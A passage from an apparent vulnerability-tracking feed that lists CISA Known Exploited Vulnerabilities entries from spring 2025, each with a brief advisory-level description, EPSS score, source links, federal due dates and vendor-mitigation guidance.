Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 1, 2025; federal due date May 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA100 Appliances OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-44221
SonicWall SMA100 Appliances OS Command Injection Vulnerability (May 1, 2025).
SonicWall SMA100 appliances contain an OS command injection vulnerability in the SSL-VPN management interface that allows a remote, authenticated attacker with administrative privilege to inject arbitrary commands as a 'nobody' user.
EPSS 76.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-44221&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-44221: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-44221&date=2026-10-25
CISA added this entry on 2025-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 1, 2025; federal due date May 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Broadcom Brocade Fabric OS Code Injection Vulnerability
https://kevwire.com/record/CVE-2025-1976
Broadcom Brocade Fabric OS Code Injection Vulnerability (Apr 28, 2025).
Broadcom Brocade Fabric OS contains a code injection vulnerability that allows a local user with administrative privileges to execute arbitrary code with full root privileges.
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-1976&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-1976: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-1976&date=2026-10-25
CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 28, 2025; federal due date May 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualitia Active! Mail Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-42599
Qualitia Active! Mail Stack-Based Buffer Overflow Vulnerability (Apr 28, 2025).
Qualitia Active! Mail contains a stack-based buffer overflow vulnerability that allows a remote, unauthenticated attacker to execute arbitrary or trigger a denial-of-service via a specially crafted request.
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-42599&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-42599: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-42599&date=2026-10-25
CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 28, 2025; federal due date May 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Commvault Web Server Unspecified Vulnerability
https://kevwire.com/record/CVE-2025-3928
Commvault Web Server Unspecified Vulnerability (Apr 28, 2025).
Commvault Web Server contains an unspecified vulnerability that allows a remote, authenticated attacker to create and execute webshells.
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-3928&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-3928: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-3928&date=2026-10-25
CISA added this entry on 2025-04-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 28, 2025; federal due date May 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows NTLM Hash Disclosure Spoofing Vulnerability
https://kevwire.com/record/CVE-2025-24054
Microsoft Windows NTLM Hash Disclosure Spoofing Vulnerability (Apr 17, 2025).
Microsoft Windows NTLM contains an external control of file name or path vulnerability that allows an unauthorized attacker to perform spoofing over a network.
EPSS 62.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24054&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24054&date=2026-10-25
CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 17, 2025; federal due date May 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Arbitrary Read and Write Vulnerability
https://kevwire.com/record/CVE-2025-31201
Apple Multiple Products Arbitrary Read and Write Vulnerability (Apr 17, 2025).
Apple iOS, iPadOS, macOS, and other Apple products contain an arbitrary read and write vulnerability that allows an attacker to bypass Pointer Authentication.
EPSS 13.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31201&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-31201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31201&date=2026-10-25
CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 17, 2025; federal due date May 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2025-31200
Apple Multiple Products Memory Corruption Vulnerability (Apr 17, 2025).
Apple iOS, iPadOS, macOS, and other Apple products contain a memory corruption vulnerability that allows for code execution when processing an audio stream in a maliciously crafted media file.
EPSS 20.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31200&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-31200: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31200&date=2026-10-25
CISA added this entry on 2025-04-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 17, 2025; federal due date May 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SonicWall SMA100 Appliances OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2021-20035
SonicWall SMA100 Appliances OS Command Injection Vulnerability (Apr 16, 2025).
SonicWall SMA100 appliances contain an OS command injection vulnerability in the management interface that allows a remote authenticated attacker to inject arbitrary commands as a 'nobody' user, which could potentially lead to code execution.
EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-20035&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-20035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-20035&date=2026-10-25
CISA added this entry on 2025-04-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 16, 2025; federal due date May 7, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2024-53150
Linux Kernel Out-of-Bounds Read Vulnerability (Apr 9, 2025).
Linux Kernel contains an out-of-bounds read vulnerability in the USB-audio driver that allows a local, privileged attacker to obtain potentially sensitive information.
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-53150&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-53150: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-53150&date=2026-10-25
CISA added this entry on 2025-04-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 9, 2025; federal due date Apr 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Out-of-Bounds Access Vulnerability
https://kevwire.com/record/CVE-2024-53197
Linux Kernel Out-of-Bounds Access Vulnerability (Apr 9, 2025).
Linux Kernel contains an out-of-bounds access vulnerability in the USB-audio driver that allows an attacker with physical access to the system to use a malicious USB device to potentially manipulate system memory, escalate privileges, or execute arbitrary code.
EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-53197&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-53197: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-53197&date=2026-10-25
CISA added this entry on 2025-04-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 9, 2025; federal due date Apr 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-29824
Microsoft Windows Common Log File System (CLFS) Driver Use-After-Free Vulnerability (Apr 8, 2025).
Microsoft Windows Common Log File System (CLFS) Driver contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.
EPSS 19.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-29824&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-29824: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-29824&date=2026-10-25
CISA added this entry on 2025-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 8, 2025; federal due date Apr 29, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Gladinet CentreStack and Triofox Use of Hard-coded Cryptographic Key Vulnerability
https://kevwire.com/record/CVE-2025-30406
Gladinet CentreStack and Triofox Use of Hard-coded Cryptographic Key Vulnerability (Apr 8, 2025).
Gladinet CentreStack and Triofox contains a use of hard-coded cryptographic key vulnerability in the way that the application manages keys used for ViewState integrity verification. Successful exploitation allows an attacker to forge ViewState payloads for server-side deserialization, allowing for remote code execution.
EPSS 94.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30406&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-30406: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30406&date=2026-10-25
CISA added this entry on 2025-04-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 8, 2025; federal due date Apr 29, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### CrushFTP Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2025-31161
CrushFTP Authentication Bypass Vulnerability (Apr 7, 2025).
CrushFTP contains an authentication bypass vulnerability in the HTTP authorization header that allows a remote unauthenticated attacker to authenticate to any known or guessable user account (e.g., crushadmin), potentially leading to a full compromise.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-31161&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-31161: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-31161&date=2026-10-25
CISA added this entry on 2025-04-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 7, 2025; federal due date Apr 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Connect Secure, Policy Secure, and ZTA Gateways Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-22457
Ivanti Connect Secure, Policy Secure, and ZTA Gateways Stack-Based Buffer Overflow Vulnerability (Apr 4, 2025).
Ivanti Connect Secure, Policy Secure, and ZTA Gateways contains a stack-based buffer overflow vulnerability that allows a remote unauthenticated attacker to achieve remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-22457&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-22457: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-22457&date=2026-10-25
CISA added this entry on 2025-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations as set forth in the CISA instructions linked below.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 4, 2025; federal due date Apr 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Tomcat Path Equivalence Vulnerability
https://kevwire.com/record/CVE-2025-24813
Apache Tomcat Path Equivalence Vulnerability (Apr 1, 2025).
Apache Tomcat contains a path equivalence vulnerability that allows a remote attacker to execute code, disclose information, or inject malicious content via a partial PUT request. This vulnerability can be chained with CVE‑2026‑34486.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24813&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24813: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24813&date=2026-10-25
CISA added this entry on 2025-04-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 1, 2025; federal due date Apr 22, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Smart Licensing Utility Static Credential Vulnerability
https://kevwire.com/record/CVE-2024-20439
Cisco Smart Licensing Utility Static Credential Vulnerability (Mar 31, 2025).
Cisco Smart Licensing Utility contains a static credential vulnerability that allows an unauthenticated, remote attacker to log in to an affected system and gain administrative credentials.
EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20439&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-20439: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20439&date=2026-10-25
CISA added this entry on 2025-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 31, 2025; federal due date Apr 21, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Mojo Sandbox Escape Vulnerability
https://kevwire.com/record/CVE-2025-2783
Google Chromium Mojo Sandbox Escape Vulnerability (Mar 27, 2025).
Google Chromium Mojo on Windows contains a sandbox escape vulnerability caused by a logic error, which results from an incorrect handle being provided in unspecified circumstances. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 9.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-2783&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-2783: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-2783&date=2026-10-25
CISA added this entry on 2025-03-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 27, 2025; federal due date Apr 17, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability
https://kevwire.com/record/CVE-2019-9875
Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability (Mar 26, 2025).
Sitecore CMS and Experience Platform (XP) contain a deserialization vulnerability in the Sitecore.Security.AntiCSRF module that allows an authenticated attacker to execute arbitrary code by sending a serialized .NET object in the HTTP POST parameter __CSRFTOKEN.
EPSS 25.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9875&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-9875: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9875&date=2026-10-25
CISA added this entry on 2025-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 26, 2025; federal due date Apr 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability
https://kevwire.com/record/CVE-2019-9874
Sitecore CMS and Experience Platform (XP) Deserialization Vulnerability (Mar 26, 2025).
Sitecore CMS and Experience Platform (XP) contain a deserialization vulnerability in the Sitecore.Security.AntiCSRF module that allows an unauthenticated attacker to execute arbitrary code by sending a serialized .NET object in the HTTP POST parameter __CSRFTOKEN.
EPSS 83.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-9874&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-9874: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-9874&date=2026-10-25
CISA added this entry on 2025-03-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 26, 2025; federal due date Apr 16, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### reviewdog/action-setup GitHub Action Embedded Malicious Code Vulnerability
https://kevwire.com/record/CVE-2025-30154
reviewdog/action-setup GitHub Action Embedded Malicious Code Vulnerability (Mar 24, 2025).
reviewdog action-setup GitHub Action contains an embedded malicious code vulnerability that dumps exposed secrets to Github Actions Workflow Logs.
EPSS 2.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30154&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-30154: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30154&date=2026-10-25
CISA added this entry on 2025-03-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 24, 2025; federal due date Apr 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SAP NetWeaver Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2017-12637
SAP NetWeaver Directory Traversal Vulnerability (Mar 19, 2025).
SAP NetWeaver Application Server (AS) Java contains a directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS that allows a remote attacker to read arbitrary files via a .. (dot dot) in the query string.
EPSS 95.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-12637&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-12637: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-12637&date=2026-10-25
CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 19, 2025; federal due date Apr 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NAKIVO Backup and Replication Absolute Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-48248
NAKIVO Backup and Replication Absolute Path Traversal Vulnerability (Mar 19, 2025).
NAKIVO Backup and Replication contains an absolute path traversal vulnerability that enables an attacker to read arbitrary files.
EPSS 94.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-48248&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-48248: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-48248&date=2026-10-25
CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 19, 2025; federal due date Apr 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Edimax IC-7100 IP Camera OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2025-1316
Edimax IC-7100 IP Camera OS Command Injection Vulnerability (Mar 19, 2025).
Edimax IC-7100 IP camera contains an OS command injection vulnerability due to improper input sanitization that allows an attacker to achieve remote code execution via specially crafted requests. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.
EPSS 74.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-1316&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-1316: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-1316&date=2026-10-25
CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 19, 2025; federal due date Apr 9, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability
https://kevwire.com/record/CVE-2025-30066
tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability (Mar 18, 2025).
tj-actions/changed-files GitHub Action contains an embedded malicious code vulnerability that allows a remote attacker to discover secrets by reading Github Actions Workflow Logs. These secrets may include, but are not limited to, valid AWS access keys, GitHub personal access tokens (PATs), npm tokens, and private RSA keys.
EPSS 72.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-30066&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-30066: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-30066&date=2026-10-25
